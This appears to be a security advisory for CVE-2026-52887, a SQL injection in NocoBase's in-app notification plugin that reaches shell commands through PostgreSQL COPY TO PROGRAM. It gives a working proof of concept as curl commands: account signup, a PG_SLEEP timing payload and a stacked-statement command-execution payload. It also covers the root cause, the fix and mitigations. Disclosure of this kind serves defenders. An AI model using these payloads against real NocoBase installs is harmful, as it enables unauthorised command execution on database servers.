CVE-2026-52887: NocoBase plugin-notification-in-app-message SQL Injection to RCE
Any signed-up user on a default NocoBase install can inject raw SQL into the in-app notifications API and, on the default PostgreSQL setup, run shell commands inside the database container.

The problem
The GET /api/myInAppChannels:list endpoint in @nocobase/plugin-notification-in-app-message builds a WHERE clause using Sequelize.literal() with direct JavaScript template interpolation of the attacker-controlled filter[latestMsgReceiveTimestamp][$lt] query parameter.
No escaping, type cast, or parameterized binding is applied.
The action ACL is loggedIn, meaning every authenticated user reaches it. Because auth-basic ships with allowSignUp: true by default, any anonymous visitor can create an account and immediately exploit the endpoint. On the default docker-compose deployment, the database role is a PostgreSQL superuser, so stacked statements can invoke `COPY ...
TO PROGRAM for OS-level command execution as uid=999(postgres)` inside the database container.
Proof of concept
A working proof-of-concept for CVE-2026-52887 in @nocobase/plugin-notification-in-app-message, with the exact payload below.
# Step 1: sign up then sign in for a JWT
curl -X POST -H 'Content-Type: application/json' \
-d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
-d '{"account":"a","password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
# Step 2: time-based oracle (request takes ~5 s)
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
# Step 3: stacked statement — write a file via COPY ... TO PROGRAM (superuser RCE)
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
# Confirm execution inside the DB container
docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt
# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)The root cause is in defineMyInAppChannels.ts (lines 62-63), where the handler builds the filter as Sequelize.literal(\${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\). The $lt value arrives raw from the parsed GET query with no validation, no escape(), and no bound parameter, so any SQL fragment placed there is executed verbatim by the PostgreSQL driver.
The pg driver uses simple-query mode, which accepts stacked (semicolon-separated) statements. Combined with the default POSTGRES_USER=nocobase mapping to a superuser role (rolsuper=true, confirmed via SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'), the attacker can pivot from blind SQLi to `COPY ...
TO PROGRAM` shell execution in a single request. The fix in commit 68d64e3 (PR #9630) replaces the literal interpolation with a properly parameterized or type-cast binding, removing the injection point. CWE-89.
The fix
Upgrade @nocobase/plugin-notification-in-app-message to version 2.0.61 or later (nocobase upgrade via CLI or pull the v2.0.61 Docker image). If immediate upgrade is not possible: disable the plugin-notification-in-app-message plugin, or restrict POST /api/auth:signUp at the reverse proxy to block anonymous account creation, or move the database role off superuser privileges to limit `COPY ...
TO PROGRAM` reach.
Reported by Jan Kahmen (turingpoint GmbH).
Related research
- critical · 9.8CVE-2026-54658CVE-2026-54658: @hypequery/clickhouse SQL Injection via Backslash Escape Bypass
- high · 7.1Budibase MongoDB Integration NoSQL Operator Injection
- critical · 9.6Budibase MySQL Integration SQL Injection via multipleStatements
- high · 7.6Budibase MySQL DESCRIBE Backtick Injection via multipleStatements